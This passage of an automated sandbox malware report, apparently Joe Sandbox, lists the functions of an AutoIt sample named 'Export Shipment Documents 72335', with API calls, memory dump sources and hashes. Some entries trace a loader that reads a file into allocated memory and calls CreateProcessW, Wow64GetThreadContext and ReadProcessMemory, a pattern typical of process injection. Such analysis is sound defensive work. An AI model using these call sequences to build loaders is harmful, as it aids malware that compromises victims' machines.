                                                                                                                                                                                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$CreateShow
                                                                                                                                                                                                          • String ID: AutoIt v3$edit
                                                                                                                                                                                                          • API String ID: 1584632944-3779509399
                                                                                                                                                                                                          • Opcode ID: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                                          • Instruction ID: daa3d4afae2654ee996124117597f48fa5c574a0ac4b96d00400a8ba476d7f73
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2f6e2284bb2ae2ba7cf4e865adc3bced08dc322388bda6343c860b78a8eff359
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F3F0A975BE4310BAF6609754AC43F592B59A765F00F3445ABB700BF1D0D6E478408B9C
                                                                                                                                                                                                          Function 03FE5400 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140fileCOMMON
                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                          control_flow_graph 677 3fe5400-3fe5519 call 3fe3050 call 3fe52f0 CreateFileW 684 3fe551b 677->684 685 3fe5520-3fe5530 677->685 686 3fe55d0-3fe55d5 684->686 688 3fe5537-3fe5551 VirtualAlloc 685->688 689 3fe5532 685->689 690 3fe5555-3fe556c ReadFile 688->690 691 3fe5553 688->691 689->686 692 3fe556e 690->692 693 3fe5570-3fe55aa call 3fe5330 call 3fe42f0 690->693 691->686 692->686 698 3fe55ac-3fe55c1 call 3fe5380 693->698 699 3fe55c6-3fe55ce ExitProcess 693->699 698->699 699->686
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 03FE52F0: Sleep.KERNELBASE(000001F4), ref: 03FE5301
                                                                                                                                                                                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 03FE550F
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateFileSleep
                                                                                                                                                                                                          • String ID: V0W3AQ6TYIV26OC7
                                                                                                                                                                                                          • API String ID: 2694422964-1286061252
                                                                                                                                                                                                          • Opcode ID: 0c7407bfa2196d48b9546c764f6590ac2d1cc9f0ee158f85283d175ed5d3746f
                                                                                                                                                                                                          • Instruction ID: 2ffc7412f09651ee3735d7b6b9a7458b21fe226f208e6254a17a4c115d2c5abd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0c7407bfa2196d48b9546c764f6590ac2d1cc9f0ee158f85283d175ed5d3746f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 21517231D14349EAEF11DBA4C814BEFBBB9AF05304F104199E618BB2C0D7B95B45CBA5
                                                                                                                                                                                                          Function 00413A88 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                                            • Part of subcall function 00418407: __mtinitlocknum.LIBCMT ref: 0041841D
                                                                                                                                                                                                            • Part of subcall function 00418407: __amsg_exit.LIBCMT ref: 00418429
                                                                                                                                                                                                            • Part of subcall function 00418407: EnterCriticalSection.KERNEL32(?,?,?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001), ref: 00418431
                                                                                                                                                                                                          • ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                                          • ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                                          • RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2714421763-0
                                                                                                                                                                                                          • Opcode ID: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                                          • Instruction ID: 54fb22c17cbd059cfb8714ef359fce415cc636064f476ff80f42ef981757bf49
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1be655156b84d1756d47887b3dc267bc1ef03bd4322eaa0c22e254cdcea9361a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7401A731A08301BADF206F71AC09BDF3B64AF00759F10052FF544A6182DB7D9AC19B9C
                                                                                                                                                                                                          Function 004734B7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 234COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: Wu
                                                                                                                                                                                                          • API String ID: 0-4083010176
                                                                                                                                                                                                          • Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                                          • Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96
                                                                                                                                                                                                          Function 0040F5E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                                                            • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                                                            • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                                                          • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                                                                            • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                                                                            • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 1194219731-2761332787
                                                                                                                                                                                                          • Opcode ID: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                                                                          • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6830d432ce0edc537904fcc81a92ccb4243d6e1eaca554fb6fd30da9042373f9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                                                                          Function 03FE42F0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 03FE4AAB
                                                                                                                                                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03FE4B41
                                                                                                                                                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03FE4B63
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1446656315.0000000003FE3000.00000040.00000020.00020000.00000000.sdmp, Offset: 03FE3000, based on PE: false
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_3fe3000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2438371351-0
                                                                                                                                                                                                          • Opcode ID: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
                                                                                                                                                                                                          • Instruction ID: 6fd0a822c2dec197e84d1bb4db2ab1f42b0c75073ec054d78467c3d8bf03a4db
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E7620930A14258DBEB24CFA5C850BDEB376EF58700F1091A9D10DEB394E77A9E81CB59
                                                                                                                                                                                                          Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                                          • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: IconNotifyShell__memset
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 928536360-0
                                                                                                                                                                                                          • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                                          • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                                                                                                                          Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                                            • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                                            • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                                          • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                                                                          • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1411284514-0
                                                                                                                                                                                                          • Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                                          • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                                                                          Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
                                                                                                                                                                                                          • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
                                                                                                                                                                                                          • RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseOpenQueryValue
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3677997916-0
                                                                                                                                                                                                          • Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                                          • Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26
                                                                                                                                                                                                          Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00435278
                                                                                                                                                                                                            • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                                                            • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                                                            • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00435288
                                                                                                                                                                                                          • _malloc.LIBCMT ref: 00435298
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _malloc$AllocateHeap
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 680241177-0
                                                                                                                                                                                                          • Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                                          • Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC
                                                                                                                                                                                                          Function 00401B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Exception@8Throw_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID: @EXITCODE
                                                                                                                                                                                                          • API String ID: 580348202-3436989551
                                                                                                                                                                                                          • Opcode ID: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                                                                                                                                          • Instruction ID: 288ad252d7dad0c090ff8240dee62855692e698d70424b42c0a66861a7771545
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 48d001a4b96ee351bc7679959485890c1c6d832d60c6cde5ea273d4c8ab31dfe
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 73F06DF2A002025BD7649B35DC0276776E4AB44704F18C83EE14AC7791F6BDE8829B15
                                                                                                                                                                                                          Function 0040EFE0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 0040F00A
                                                                                                                                                                                                          • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000004,00000080,00000000,?,0040DFD2,?,00000001,00403843,?), ref: 004299D9
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CreateFile
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 823142352-0
                                                                                                                                                                                                          • Opcode ID: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                                          • Instruction ID: 855a981e3d87b0586b227f36a287a9e63fe5cd358b5bfab8de368ff291d46a89
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7605a8ea73ac57d11bec7dd1d6207c313580f8ed20fa142c5c15d61e0266fbc2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 67011D703803107AF2311F28AD5BF5632546B44B24F244B39FBD5BE2E2D2F86885970C
                                                                                                                                                                                                          Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
